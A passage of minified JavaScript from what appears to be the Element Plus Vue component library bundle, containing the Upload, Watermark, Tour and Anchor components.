r=Oe("upload"),o=D(!1),i=fo(),s=l=>{if(i.value)return;o.value=!1,l.stopPropagation();const u=Array.from(l.dataTransfer.files);t("file",u)},a=()=>{i.value||(o.value=!0)};return(l,u)=>(B(),_("div",{class:F([d(r).b("dragger"),d(r).is("dragover",o.value)]),onDrop:rt(s,["prevent"]),onDragover:rt(a,["prevent"]),onDragleave:u[0]||(u[0]=rt(c=>o.value=!1,["prevent"]))},[qe(l.$slots,"default")],42,Qpe))}});var eme=Ye($pe,[["__file","upload-dragger.vue"]]);const tme=Ge({...G4,beforeUpload:{type:he(Function),default:on},onRemove:{type:he(Function),default:on},onStart:{type:he(Function),default:on},onSuccess:{type:he(Function),default:on},onProgress:{type:he(Function),default:on},onError:{type:he(Function),default:on},onExceed:{type:he(Function),default:on}}),nme=["onKeydown"],rme=["name","multiple","accept"],ome=ie({name:"ElUploadContent",inheritAttrs:!1}),ime=ie({...ome,props:tme,setup(e,{expose:t}){const n=e,r=Oe("upload"),o=fo(),i=ln({}),s=ln(),a=v=>{if(v.length===0)return;const{autoUpload:I,limit:q,fileList:M,multiple:E,onStart:x,onExceed:R}=n;if(q&&M.length+v.length>q){R(v,M);return}E||(v=v.slice(0,1));for(const K of v){const W=K;W.uid=Ly(),x(W),I&&l(W)}},l=async v=>{if(s.value.value="",!n.beforeUpload)return c(v);let I,q={};try{const E=n.data,x=n.beforeUpload(v);q=rp(n.data)?Mp(n.data):n.data,I=await x,rp(n.data)&&Yr(E,q)&&(q=Mp(n.data))}catch{I=!1}if(I===!1){n.onRemove(v);return}let M=v;I instanceof Blob&&(I instanceof File?M=I:M=new File([I],v.name,{type:v.type})),c(Object.assign(M,{uid:v.uid}),q)},u=async(v,I)=>ot(v)?v(I):v,c=async(v,I)=>{const{headers:q,data:M,method:E,withCredentials:x,name:R,action:K,onProgress:W,onSuccess:j,onError:H,httpRequest:P}=n;try{I=await u(I??M,v)}catch{n.onRemove(v);return}const{uid:U}=v,X={headers:q||{},withCredentials:x,file:v,data:I,method:E,filename:R,action:K,onProgress:h=>{W(h,v)},onSuccess:h=>{j(h,v),delete i.value[U]},onError:h=>{H(h,v),delete i.value[U]}},L=P(X);i.value[U]=L,L instanceof Promise&&L.then(X.onSuccess,X.onError)},f=v=>{const I=v.target.files;I&&a(Array.from(I))},p=()=>{o.value||(s.value.value="",s.value.click())},m=()=>{p()};return t({abort:v=>{HU(i.value).filter(v?([q])=>String(v.uid)===q:()=>!0).forEach(([q,M])=>{M instanceof XMLHttpRequest&&M.abort(),delete i.value[q]})},upload:l}),(v,I)=>(B(),_("div",{class:F([d(r).b(),d(r).m(v.listType),d(r).is("drag",v.drag)]),tabindex:"0",onClick:p,onKeydown:un(rt(m,["self"]),["enter","space"])},[v.drag?(B(),ye(eme,{key:0,disabled:d(o),onFile:a},{default:fe(()=>[qe(v.$slots,"default")]),_:3},8,["disabled"])):qe(v.$slots,"default",{key:1}),ne("input",{ref_key:"inputRef",ref:s,class:F(d(r).e("input")),name:v.name,multiple:v.multiple,accept:v.accept,type:"file",onChange:f,onClick:I[0]||(I[0]=rt(()=>{},["stop"]))},null,42,rme)],42,nme))}});var T7=Ye(ime,[["__file","upload-content.vue"]]);const N7="ElUpload",j7=e=>{var t;(t=e.url)!=null&&t.startsWith("blob:")&&URL.revokeObjectURL(e.url)},sme=(e,t)=>{const n=kC(e,"fileList",void 0,{passive:!0}),r=p=>n.value.find(m=>m.uid===p.uid);function o(p){var m;(m=t.value)==null||m.abort(p)}function i(p=["ready","uploading","success","fail"]){n.value=n.value.filter(m=>!p.includes(m.status))}const s=(p,m)=>{const g=r(m);g&&(console.error(p),g.status="fail",n.value.splice(n.value.indexOf(g),1),e.onError(p,g,n.value),e.onChange(g,n.value))},a=(p,m)=>{const g=r(m);g&&(e.onProgress(p,g,n.value),g.status="uploading",g.percentage=Math.round(p.percent))},l=(p,m)=>{const g=r(m);g&&(g.status="success",g.response=p,e.onSuccess(p,g,n.value),e.onChange(g,n.value))},u=p=>{$n(p.uid)&&(p.uid=Ly());const m={name:p.name,percentage:0,status:"ready",size:p.size,raw:p,uid:p.uid};if(e.listType==="picture-card"||e.listType==="picture")try{m.url=URL.createObjectURL(p)}catch(g){g.message,e.onError(g,m,n.value)}n.value=[...n.value,m],e.onChange(m,n.value)},c=async p=>{const m=p instanceof File?r(p):p;m||tr(N7,"file to be removed not found");const g=v=>{o(v);const I=n.value;I.splice(I.indexOf(v),1),e.onRemove(v,I),j7(v)};e.beforeRemove?await e.beforeRemove(m,n.value)!==!1&&g(m):g(m)};function f(){n.value.filter(({status:p})=>p==="ready").forEach(({raw:p})=>{var m;return p&&((m=t.value)==null?void 0:m.upload(p))})}return Ce(()=>e.listType,p=>{p!=="picture-card"&&p!=="picture"||(n.value=n.value.map(m=>{const{raw:g,url:v}=m;if(!v&&g)try{m.url=URL.createObjectURL(g)}catch(I){e.onError(I,m,n.value)}return m}))}),Ce(n,p=>{for(const m of p)m.uid||(m.uid=Ly()),m.status||(m.status="success")},{immediate:!0,deep:!0}),{uploadFiles:n,abort:o,clearFiles:i,handleError:s,handleProgress:a,handleStart:u,handleSuccess:l,handleRemove:c,submit:f,revokeFileObjectURL:j7}},ame=ie({name:"ElUpload"}),lme=ie({...ame,props:jpe,setup(e,{expose:t}){const n=e,r=fo(),o=ln(),{abort:i,submit:s,clearFiles:a,uploadFiles:l,handleStart:u,handleError:c,handleRemove:f,handleSuccess:p,handleProgress:m,revokeFileObjectURL:g}=sme(n,o),v=N(()=>n.listType==="picture-card"),I=N(()=>({...n,fileList:l.value,onStart:u,onProgress:m,onSuccess:p,onError:c,onRemove:f}));return vn(()=>{l.value.forEach(g)}),Ot(j4,{accept:hn(n,"accept")}),t({abort:i,submit:s,clearFiles:a,handleStart:u,handleRemove:f}),(q,M)=>(B(),_("div",null,[d(v)&&q.showFileList?(B(),ye(Z7,{key:0,disabled:d(r),"list-type":q.listType,files:d(l),crossorigin:q.crossorigin,"handle-preview":q.onPreview,onRemove:d(f)},ms({append:fe(()=>[ae(T7,xt({ref_key:"uploadRef",ref:o},d(I)),{default:fe(()=>[q.$slots.trigger?qe(q.$slots,"trigger",{key:0}):pe("v-if",!0),!q.$slots.trigger&&q.$slots.default?qe(q.$slots,"default",{key:1}):pe("v-if",!0)]),_:3},16)]),_:2},[q.$slots.file?{name:"default",fn:fe(({file:E})=>[qe(q.$slots,"file",{file:E})])}:void 0]),1032,["disabled","list-type","files","crossorigin","handle-preview","onRemove"])):pe("v-if",!0),!d(v)||d(v)&&!q.showFileList?(B(),ye(T7,xt({key:1,ref_key:"uploadRef",ref:o},d(I)),{default:fe(()=>[q.$slots.trigger?qe(q.$slots,"trigger",{key:0}):pe("v-if",!0),!q.$slots.trigger&&q.$slots.default?qe(q.$slots,"default",{key:1}):pe("v-if",!0)]),_:3},16)):pe("v-if",!0),q.$slots.trigger?qe(q.$slots,"default",{key:2}):pe("v-if",!0),qe(q.$slots,"tip"),!d(v)&&q.showFileList?(B(),ye(Z7,{key:3,disabled:d(r),"list-type":q.listType,files:d(l),crossorigin:q.crossorigin,"handle-preview":q.onPreview,onRemove:d(f)},ms({_:2},[q.$slots.file?{name:"default",fn:fe(({file:E})=>[qe(q.$slots,"file",{file:E})])}:void 0]),1032,["disabled","list-type","files","crossorigin","handle-preview","onRemove"])):pe("v-if",!0)]))}});var ume=Ye(lme,[["__file","upload.vue"]]);const cme=It(ume),dme=Ge({zIndex:{type:Number,default:9},rotate:{type:Number,default:-22},width:Number,height:Number,image:String,content:{type:he([String,Array]),default:"Element Plus"},font:{type:he(Object)},gap:{type:he(Array),default:()=>[100,100]},offset:{type:he(Array)}});function fme(e){return e.replace(/([A-Z])/g,"-$1").toLowerCase()}function hme(e){return Object.keys(e).map(t=>`${fme(t)}: ${e[t]};`).join(" ")}function pme(){return window.devicePixelRatio||1}const mme=(e,t)=>{let n=!1;return e.removedNodes.length&&t&&(n=Array.from(e.removedNodes).includes(t)),e.type==="attributes"&&e.target===t&&(n=!0),n},B4=3;function S0(e,t,n=1){const r=document.createElement("canvas"),o=r.getContext("2d"),i=e*n,s=t*n;return r.setAttribute("width",`${i}px`),r.setAttribute("height",`${s}px`),o.save(),[o,r,i,s]}function vme(){function e(t,n,r,o,i,s,a,l){const[u,c,f,p]=S0(o,i,r);if(t instanceof HTMLImageElement)u.drawImage(t,0,0,f,p);else{const{color:k,fontSize:y,fontStyle:T,fontWeight:te,fontFamily:le,textAlign:re,textBaseline:de}=s,ce=Number(y)*r;u.font=`${T} normal ${te} ${ce}px/${i}px ${le}`,u.fillStyle=k,u.textAlign=re,u.textBaseline=de;const we=Array.isArray(t)?t:[t];we==null||we.forEach((Ie,ge)=>{u.fillText(Ie??"",f/2,ge*(ce+B4*r))})}const m=Math.PI/180*Number(n),g=Math.max(o,i),[v,I,q]=S0(g,g,r);v.translate(q/2,q/2),v.rotate(m),f>0&&p>0&&v.drawImage(c,-f/2,-p/2);function M(k,y){const T=k*Math.cos(m)-y*Math.sin(m),te=k*Math.sin(m)+y*Math.cos(m);return[T,te]}let E=0,x=0,R=0,K=0;const W=f/2,j=p/2;[[0-W,0-j],[0+W,0-j],[0+W,0+j],[0-W,0+j]].forEach(([k,y])=>{const[T,te]=M(k,y);E=Math.min(E,T),x=Math.max(x,T),R=Math.min(R,te),K=Math.max(K,te)});const P=E+q/2,U=R+q/2,X=x-E,L=K-R,h=a*r,b=l*r,w=(X+h)*2,A=L+b,[C,S]=S0(w,A);function z(k=0,y=0){C.drawImage(I,P,U,X,L,k,y,X,L)}return z(),z(X+h,-L/2-b/2),z(X+h,+L/2+b/2),[S.toDataURL(),w/r,A/r]}return e}const gme=ie({name:"ElWatermark"}),yme=ie({...gme,props:dme,setup(e){const t=e,n={position:"relative"},r=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.color)!=null?U:"rgba(0,0,0,.15)"}),o=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.fontSize)!=null?U:16}),i=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.fontWeight)!=null?U:"normal"}),s=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.fontStyle)!=null?U:"normal"}),a=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.fontFamily)!=null?U:"sans-serif"}),l=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.textAlign)!=null?U:"center"}),u=N(()=>{var P,U;return(U=(P=t.font)==null?void 0:P.textBaseline)!=null?U:"top"}),c=N(()=>t.gap[0]),f=N(()=>t.gap[1]),p=N(()=>c.value/2),m=N(()=>f.value/2),g=N(()=>{var P,U;return(U=(P=t.offset)==null?void 0:P[0])!=null?U:p.value}),v=N(()=>{var P,U;return(U=(P=t.offset)==null?void 0:P[1])!=null?U:m.value}),I=()=>{const P={zIndex:t.zIndex,position:"absolute",left:0,top:0,width:"100%",height:"100%",pointerEvents:"none",backgroundRepeat:"repeat"};let U=g.value-p.value,X=v.value-m.value;return U>0&&(P.left=`${U}px`,P.width=`calc(100% - ${U}px)`,U=0),X>0&&(P.top=`${X}px`,P.height=`calc(100% - ${X}px)`,X=0),P.backgroundPosition=`${U}px ${X}px`,P},q=ln(null),M=ln(),E=D(!1),x=()=>{M.value&&(M.value.remove(),M.value=void 0)},R=(P,U)=>{var X;q.value&&M.value&&(E.value=!0,M.value.setAttribute("style",hme({...I(),backgroundImage:`url('${P}')`,backgroundSize:`${Math.floor(U)}px`})),(X=q.value)==null||X.append(M.value),setTimeout(()=>{E.value=!1}))},K=P=>{let U=120,X=64;const L=t.image,h=t.content,b=t.width,w=t.height;if(!L&&P.measureText){P.font=`${Number(o.value)}px ${a.value}`;const A=Array.isArray(h)?h:[h],C=A.map(S=>{const z=P.measureText(S);return[z.width,z.fontBoundingBoxAscent!==void 0?z.fontBoundingBoxAscent+z.fontBoundingBoxDescent:z.actualBoundingBoxAscent+z.actualBoundingBoxDescent]});U=Math.ceil(Math.max(...C.map(S=>S[0]))),X=Math.ceil(Math.max(...C.map(S=>S[1])))*A.length+(A.length-1)*B4}return[b??U,w??X]},W=vme(),j=()=>{const U=document.createElement("canvas").getContext("2d"),X=t.image,L=t.content,h=t.rotate;if(U){M.value||(M.value=document.createElement("div"));const b=pme(),[w,A]=K(U),C=S=>{const[z,k]=W(S||"",h,b,w,A,{color:r.value,fontSize:o.value,fontStyle:s.value,fontWeight:i.value,fontFamily:a.value,textAlign:l.value,textBaseline:u.value},c.value,f.value);R(z,k)};if(X){const S=new Image;S.onload=()=>{C(S)},S.onerror=()=>{C(L)},S.crossOrigin="anonymous",S.referrerPolicy="no-referrer",S.src=X}else C(L)}};return mt(()=>{j()}),Ce(()=>t,()=>{j()},{deep:!0,flush:"post"}),vn(()=>{x()}),MC(q,P=>{E.value||P.forEach(U=>{mme(U,M.value)&&(x(),j())})},{attributes:!0,subtree:!0,childList:!0}),(P,U)=>(B(),_("div",{ref_key:"containerRef",ref:q,style:De([n])},[qe(P.$slots,"default")],4))}});var bme=Ye(yme,[["__file","watermark.vue"]]);const Ime=It(bme),qme=Ge({zIndex:{type:Number,default:1001},visible:Boolean,fill:{type:String,default:"rgba(0,0,0,0.5)"},pos:{type:he(Object)},targetAreaClickable:{type:Boolean,default:!0}}),wme=(e,t,n,r,o)=>{const i=D(null),s=()=>{let f;return st(e.value)?f=document.querySelector(e.value):ot(e.value)?f=e.value():f=e.value,f},a=()=>{const f=s();if(!f||!t.value){i.value=null;return}!Sme(f)&&t.value&&f.scrollIntoView(o.value);const{left:p,top:m,width:g,height:v}=f.getBoundingClientRect();i.value={left:p,top:m,width:g,height:v,radius:0}};mt(()=>{Ce([t,e],()=>{a()},{immediate:!0}),window.addEventListener("resize",a)}),vn(()=>{window.removeEventListener("resize",a)});const l=f=>{var p;return(p=Ve(n.value.offset)?n.value.offset[f]:n.value.offset)!=null?p:6},u=N(()=>{var f;if(!i.value)return i.value;const p=l(0),m=l(1),g=((f=n.value)==null?void 0:f.radius)||2;return{left:i.value.left-p,top:i.value.top-m,width:i.value.width+p*2,height:i.value.height+m*2,radius:g}}),c=N(()=>{const f=s();return!r.value||!f||!window.DOMRect?f||void 0:{getBoundingClientRect(){var p,m,g,v;return window.DOMRect.fromRect({width:((p=u.value)==null?void 0:p.width)||0,height:((m=u.value)==null?void 0:m.height)||0,x:((g=u.value)==null?void 0:g.left)||0,y:((v=u.value)==null?void 0:v.top)||0})}}});return{mergedPosInfo:u,triggerTarget:c}},Qm=Symbol("ElTour");function Sme(e){const t=window.innerWidth||document.documentElement.clientWidth,n=window.innerHeight||document.documentElement.clientHeight,{top:r,right:o,bottom:i,left:s}=e.getBoundingClientRect();return r>=0&&s>=0&&o<=t&&i<=n}const Eme=(e,t,n,r,o,i,s,a)=>{const l=D(),u=D(),c=D({}),f={x:l,y:u,placement:r,strategy:o,middlewareData:c},p=N(()=>{const q=[E6(d(i)),U9(),H9(),Ame()];return d(a)&&d(n)&&q.push(S6({element:d(n)})),q}),m=async()=>{if(!Tt)return;const q=d(e),M=d(t);if(!q||!M)return;const E=await R6(q,M,{placement:d(r),strategy:d(o),middleware:d(p)});_u(f).forEach(x=>{f[x].value=E[x]})},g=N(()=>{if(!d(e))return{position:"fixed",top:"50%",left:"50%",transform:"translate3d(-50%, -50%, 0)",maxWidth:"100vw",zIndex:d(s)};const{overflow:q}=d(c);return{position:d(o),zIndex:d(s),top:d(u)!=null?`${d(u)}px`:"",left:d(l)!=null?`${d(l)}px`:"",maxWidth:q!=null&&q.maxWidth?`${q==null?void 0:q.maxWidth}px`:""}}),v=N(()=>{if(!d(a))return{};const{arrow:q}=d(c);return{left:(q==null?void 0:q.x)!=null?`${q==null?void 0:q.x}px`:"",top:(q==null?void 0:q.y)!=null?`${q==null?void 0:q.y}px`:""}});let I;return mt(()=>{const q=d(e),M=d(t);q&&M&&(I=Q9(q,M,m)),Gn(()=>{m()})}),vn(()=>{I&&I()}),{update:m,contentStyle:g,arrowStyle:v}},Ame=()=>({name:"overflow",async fn(e){const t=await rI(e);let n=0;return t.left>0&&(n=t.left),t.right>0&&(n=t.right),{data:{maxWidth:e.rects.floating.width-n}}}}),Mme={style:{width:"100%",height:"100%"}},Cme=["d"],kme=ie({name:"ElTourMask",inheritAttrs:!1}),xme=ie({...kme,props:qme,setup(e){const t=e,{ns:n}=Fe(Qm),r=N(()=>{var a,l;return(l=(a=t.pos)==null?void 0:a.radius)!=null?l:2}),o=N(()=>{const a=r.value,l=`a${a},${a} 0 0 1`;return{topRight:`${l} ${a},${a}`,bottomRight:`${l} ${-a},${a}`,bottomLeft:`${l} ${-a},${-a}`,topLeft:`${l} ${a},${-a}`}}),i=N(()=>{const a=window.innerWidth,l=window.innerHeight,u=o.value,c=`M${a},0 L0,0 L0,${l} L${a},${l} L${a},0 Z`,f=r.value;return t.pos?`${c} M${t.pos.left+f},${t.pos.top} h${t.pos.width-f*2} ${u.topRight} v${t.pos.height-f*2} ${u.bottomRight} h${-t.pos.width+f*2} ${u.bottomLeft} v${-t.pos.height+f*2} ${u.topLeft} z`:c}),s=N(()=>({fill:t.fill,pointerEvents:"auto",cursor:"auto"}));return V1(hn(t,"visible"),{ns:n}),(a,l)=>a.visible?(B(),_("div",xt({key:0,class:d(n).e("mask"),style:{position:"fixed",left:0,right:0,top:0,bottom:0,zIndex:a.zIndex,pointerEvents:a.pos&&a.targetAreaClickable?"none":"auto"}},a.$attrs),[(B(),_("svg",Mme,[ne("path",{class:F(d(n).e("hollow")),style:De(d(s)),d:d(i)},null,14,Cme)]))],16)):pe("v-if",!0)}});var Ome=Ye(xme,[["__file","mask.vue"]]);const zme=["absolute","fixed"],Kme=["top-start","top-end","top","bottom-start","bottom-end","bottom","left-start","left-end","left","right-start","right-end","right"],FI=Ge({placement:{type:he(String),values:Kme,default:"bottom"},reference:{type:he(Object),default:null},strategy:{type:he(String),values:zme,default:"absolute"},offset:{type:Number,default:10},showArrow:Boolean,zIndex:{type:Number,default:2001}}),Rme={close:()=>!0},Lme=["data-side"],Zme=ie({name:"ElTourContent"}),Tme=ie({...Zme,props:FI,emits:Rme,setup(e,{emit:t}){const n=e,r=D(n.placement),o=D(n.strategy),i=D(null),s=D(null);Ce(()=>n.placement,()=>{r.value=n.placement});const{contentStyle:a,arrowStyle:l}=Eme(hn(n,"reference"),i,s,r,o,hn(n,"offset"),hn(n,"zIndex"),hn(n,"showArrow")),u=N(()=>r.value.split("-")[0]),{ns:c}=Fe(Qm),f=()=>{t("close")},p=m=>{m.detail.focusReason==="pointer"&&m.preventDefault()};return(m,g)=>(B(),_("div",{ref_key:"contentRef",ref:i,style:De(d(a)),class:F(d(c).e("content")),"data-side":d(u),tabindex:"-1"},[ae(d(mf),{loop:"",trapped:"","focus-start-el":"container","focus-trap-el":i.value||void 0,onReleaseRequested:f,onFocusoutPrevented:p},{default:fe(()=>[qe(m.$slots,"default")]),_:3},8,["focus-trap-el"]),m.showArrow?(B(),_("span",{key:0,ref_key:"arrowRef",ref:s,style:De(d(l)),class:F(d(c).e("arrow"))},null,6)):pe("v-if",!0)],14,Lme))}});var Nme=Ye(Tme,[["__file","content.vue"]]),jme=ie({name:"ElTourSteps",props:{current:{type:Number,default:0}},emits:["update-total"],setup(e,{slots:t,emit:n}){let r=0;return()=>{var o,i;const s=(o=t.default)==null?void 0:o.call(t),a=[];let l=0;function u(c){Ve(c)&&c.forEach(f=>{var p;((p=(f==null?void 0:f.type)||{})==null?void 0:p.name)==="ElTourStep"&&(a.push(f),l+=1)})}return s.length&&u(sa((i=s[0])==null?void 0:i.children)),r!==l&&(r=l,n("update-total",l)),a.length?a[e.current]:null}}});const Wme=Ge({modelValue:Boolean,current:{type:Number,default:0},showArrow:{type:Boolean,default:!0},showClose:{type:Boolean,default:!0},closeIcon:{type:cn},placement:FI.placement,contentStyle:{type:he([Object])},mask:{type:he([Boolean,Object]),default:!0},gap:{type:he(Object),default:()=>({offset:6,radius:2})},zIndex:{type:Number},scrollIntoViewOptions:{type:he([Boolean,Object]),default:()=>({block:"center"})},type:{type:he(String)},appendTo:{type:he([String,Object]),default:"body"},closeOnPressEscape:{type:Boolean,default:!0},targetAreaClickable:{type:Boolean,default:!0}}),Gme={[St]:e=>Un(e),"update:current":e=>nt(e),close:e=>nt(e),finish:()=>!0,change:e=>nt(e)},Yme=ie({name:"ElTour"}),Bme=ie({...Yme,props:Wme,emits:Gme,setup(e,{emit:t}){const n=e,r=Oe("tour"),o=D(0),i=D(),s=kC(n,"current",t,{passive:!0}),a=N(()=>{var H;return(H=i.value)==null?void 0:H.target}),l=N(()=>[r.b(),I.value==="primary"?r.m("primary"):""]),u=N(()=>{var H;return((H=i.value)==null?void 0:H.placement)||n.placement}),c=N(()=>{var H,P;return(P=(H=i.value)==null?void 0:H.contentStyle)!=null?P:n.contentStyle}),f=N(()=>{var H,P;return(P=(H=i.value)==null?void 0:H.mask)!=null?P:n.mask}),p=N(()=>!!f.value&&n.modelValue),m=N(()=>Un(f.value)?void 0:f.value),g=N(()=>{var H,P;return!!a.value&&((P=(H=i.value)==null?void 0:H.showArrow)!=null?P:n.showArrow)}),v=N(()=>{var H,P;return(P=(H=i.value)==null?void 0:H.scrollIntoViewOptions)!=null?P:n.scrollIntoViewOptions}),I=N(()=>{var H,P;return(P=(H=i.value)==null?void 0:H.type)!=null?P:n.type}),{nextZIndex:q}=wc(),M=q(),E=N(()=>{var H;return(H=n.zIndex)!=null?H:M}),{mergedPosInfo:x,triggerTarget:R}=wme(a,hn(n,"modelValue"),hn(n,"gap"),f,v);Ce(()=>n.modelValue,H=>{H||(s.value=0)});const K=()=>{n.closeOnPressEscape&&(t("update:modelValue",!1),t("close",s.value))},W=H=>{o.value=H},j=pr();return Ot(Qm,{currentStep:i,current:s,total:o,showClose:hn(n,"showClose"),closeIcon:hn(n,"closeIcon"),mergedType:I,ns:r,slots:j,updateModelValue(H){t("update:modelValue",H)},onClose(){t("close",s.value)},onFinish(){t("finish")},onChange(){t("change",s.value)}}),(H,P)=>{var U,X;return B(),_(Qe,null,[(B(),ye(jl,{to:H.appendTo},[ne("div",xt({class:d(l)},H.$attrs),[ae(Ome,{visible:d(p),fill:(U=d(m))==null?void 0:U.color,style:De((X=d(m))==null?void 0:X.style),pos:d(x),"z-index":d(E),"target-area-clickable":H.targetAreaClickable},null,8,["visible","fill","style","pos","z-index","target-area-clickable"]),H.modelValue?(B(),ye(Nme,{key:d(s),reference:d(R),placement:d(u),"show-arrow":d(g),"z-index":d(E),style:De(d(c)),onClose:K},{default:fe(()=>[ae(d(jme),{current:d(s),onUpdateTotal:W},{default:fe(()=>[qe(H.$slots,"default")]),_:3},8,["current"])]),_:3},8,["reference","placement","show-arrow","z-index","style"])):pe("v-if",!0)],16)],8,["to"])),pe(" just for IDE "),pe("v-if",!0)],64)}}});var Jme=Ye(Bme,[["__file","tour.vue"]]);const Vme=Ge({target:{type:he([String,Object,Function])},title:String,description:String,showClose:{type:Boolean,default:void 0},closeIcon:{type:cn},showArrow:{type:Boolean,default:void 0},placement:FI.placement,mask:{type:he([Boolean,Object]),default:void 0},contentStyle:{type:he([Object])},prevButtonProps:{type:he(Object)},nextButtonProps:{type:he(Object)},scrollIntoViewOptions:{type:he([Boolean,Object]),default:void 0},type:{type:he(String)}}),Ume={close:()=>!0},Fme=ie({name:"ElTourStep"}),Hme=ie({...Fme,props:Vme,emits:Ume,setup(e,{emit:t}){const n=e,{Close:r}=j1,{t:o}=Vt(),{currentStep:i,current:s,total:a,showClose:l,closeIcon:u,mergedType:c,ns:f,slots:p,updateModelValue:m,onClose:g,onFinish:v,onChange:I}=Fe(Qm);Ce(n,j=>{i.value=j},{immediate:!0});const q=N(()=>{var j;return(j=n.showClose)!=null?j:l.value}),M=N(()=>{var j,H;return(H=(j=n.closeIcon)!=null?j:u.value)!=null?H:r}),E=j=>{if(j)return NU(j,["children","onClick"])},x=()=>{var j,H;s.value-=1,(j=n.prevButtonProps)!=null&&j.onClick&&((H=n.prevButtonProps)==null||H.onClick()),I()},R=()=>{var j;s.value>=a.value-1?K():s.value+=1,(j=n.nextButtonProps)!=null&&j.onClick&&n.nextButtonProps.onClick(),I()},K=()=>{W(),v()},W=()=>{m(!1),g(),t("close")};return(j,H)=>(B(),_(Qe,null,[d(q)?(B(),_("button",{key:0,"aria-label":"Close",class:F(d(f).e("closebtn")),type:"button",onClick:W},[ae(d(Pe),{class:F(d(f).e("close"))},{default:fe(()=>[(B(),ye(Et(d(M))))]),_:1},8,["class"])],2)):pe("v-if",!0),ne("header",{class:F([d(f).e("header"),{"show-close":d(l)}])},[qe(j.$slots,"header",{},()=>[ne("span",{role:"heading",class:F(d(f).e("title"))},We(j.title),3)])],2),ne("div",{class:F(d(f).e("body"))},[qe(j.$slots,"default",{},()=>[ne("span",null,We(j.description),1)])],2),ne("footer",{class:F(d(f).e("footer"))},[ne("div",{class:F(d(f).b("indicators"))},[d(p).indicators?(B(),ye(Et(d(p).indicators),{key:0,current:d(s),total:d(a)},null,8,["current","total"])):(B(!0),_(Qe,{key:1},Lt(d(a),(P,U)=>(B(),_("span",{key:P,class:F([d(f).b("indicator"),U===d(s)?"is-active":""])},null,2))),128))],2),ne("div",{class:F(d(f).b("buttons"))},[d(s)>0?(B(),ye(d(dr),xt({key:0,size:"small",type:d(c)},E(j.prevButtonProps),{onClick:x}),{default:fe(()=>{var P,U;return[Kt(We((U=(P=j.prevButtonProps)==null?void 0:P.children)!=null?U:d(o)("el.tour.previous")),1)]}),_:1},16,["type"])):pe("v-if",!0),d(s)<=d(a)-1?(B(),ye(d(dr),xt({key:1,size:"small",type:d(c)==="primary"?"default":"primary"},E(j.nextButtonProps),{onClick:R}),{default:fe(()=>{var P,U;return[Kt(We((U=(P=j.nextButtonProps)==null?void 0:P.children)!=null?U:d(s)===d(a)-1?d(o)("el.tour.finish"):d(o)("el.tour.next")),1)]}),_:1},16,["type"])):pe("v-if",!0)],2)],2)],64))}});var J4=Ye(Hme,[["__file","step.vue"]]);const Pme=It(Jme,{TourStep:J4}),Dme=kn(J4),Xme=Ge({container:{type:he([String,Object])},offset:{type:Number,default:0},bound:{type:Number,default:15},duration:{type:Number,default:300},marker:{type:Boolean,default:!0},type:{type:he(String),default:"default"},direction:{type:he(String),default:"vertical"}}),Qme={change:e=>st(e),click:(e,t)=>e instanceof MouseEvent&&(st(t)||Vn(t))},V4=Symbol("anchor"),_me=ie({name:"ElAnchor"}),$me=ie({..._me,props:Xme,emits:Qme,setup(e,{expose:t,emit:n}){const r=e,o=D(""),i=D(null),s=D(null),a=D(),l={};let u=!1,c=0;const f=Oe("anchor"),p=N(()=>[f.b(),r.type==="underline"?f.m("underline"):"",f.m(r.direction)]),m=j=>{l[j.href]=j.el},g=j=>{delete l[j]},v=j=>{o.value!==j&&(o.value=j,n("change",j))};let I=null;const q=j=>{if(!a.value)return;const H=jf(j);if(!H)return;I&&I(),u=!0;const P=US(H,a.value),U=Cg(H,P),X=P.scrollHeight-P.clientHeight,L=Math.min(U-r.offset,X);I=XU(a.value,c,L,r.duration,()=>{setTimeout(()=>{u=!1},20)})},M=j=>{j&&(v(j),q(j))},E=(j,H)=>{n("click",j,H),M(H)},x=hH(()=>{a.value&&(c=FS(a.value));const j=R();u||Vn(j)||v(j)}),R=()=>{if(!a.value)return;const j=FS(a.value),H=[];for(const P of Object.keys(l)){const U=jf(P);if(!U)continue;const X=US(U,a.value),L=Cg(U,X);H.push({top:L-r.offset-r.bound,href:P})}H.sort((P,U)=>P.top-U.top);for(let P=0;P<H.length;P++){const U=H[P],X=H[P+1];if(P===0&&j===0)return"";if(U.top<=j&&(!X||X.top>j))return U.href}},K=()=>{const j=jf(r.container);!j||Km(j)?a.value=window:a.value=j};pn(a,"scroll",x);const W=N(()=>{if(!i.value||!s.value||!o.value)return{};const j=l[o.value];if(!j)return{};const H=i.value.getBoundingClientRect(),P=s.value.getBoundingClientRect(),U=j.getBoundingClientRect();return r.direction==="horizontal"?{left:`${U.left-H.left}px`,width:`${U.width}px`,opacity:1}:{top:`${U.top-H.top+(U.height-P.height)/2}px`,opacity:1}});return mt(()=>{K();const j=decodeURIComponent(window.location.hash);jf(j)?M(j):x()}),Ce(()=>r.container,()=>{K()}),Ot(V4,{ns:f,direction:r.direction,currentAnchor:o,addLink:m,removeLink:g,handleClick:E}),t({scrollTo:M}),(j,H)=>(B(),_("div",{ref_key:"anchorRef",ref:i,class:F(d(p))},[j.marker?(B(),_("div",{key:0,ref_key:"markerRef",ref:s,class:F(d(f).e("marker")),style:De(d(W))},null,6)):pe("v-if",!0),ne("div",{class:F(d(f).e("list"))},[qe(j.$slots,"default")],2)],2))}});var eve=Ye($me,[["__file","anchor.vue"]]);const tve=Ge({title:String,href:String}),nve=["href"],rve=ie({name:"ElAnchorLink"}),ove=ie({...rve,props:tve,setup(e){const t=e,n=D(null),{ns:r,direction:o,currentAnchor:i,addLink:s,removeLink:a,handleClick:l}=Fe(V4),u=N(()=>[r.e("link"),r.is("active",i.value===t.href)]),c=f=>{l(f,t.href)};return Ce(()=>t.href,(f,p)=>{$e(()=>{p&&a(p),f&&s({href:f,el:n.value})})}),mt(()=>{const{href:f}=t;f&&s({href:f,el:n.value})}),vn(()=>{const{href:f}=t;f&&a(f)}),(f,p)=>(B(),_("div",{class:F(d(r).e("item"))},[ne("a",{ref_key:"linkRef",ref:n,class:F(d(u)),href:f.href,onClick:c},[qe(f.$slots,"default",{},()=>[Kt(We(f.title),1)])],10,nve),f.$slots["sub-link"]&&d(o)==="vertical"?(B(),_("div",{key:0,class:F(d(r).e("list"))},[qe(f.$slots,"sub-link")],2)):pe("v-if",!0)],2))}});var 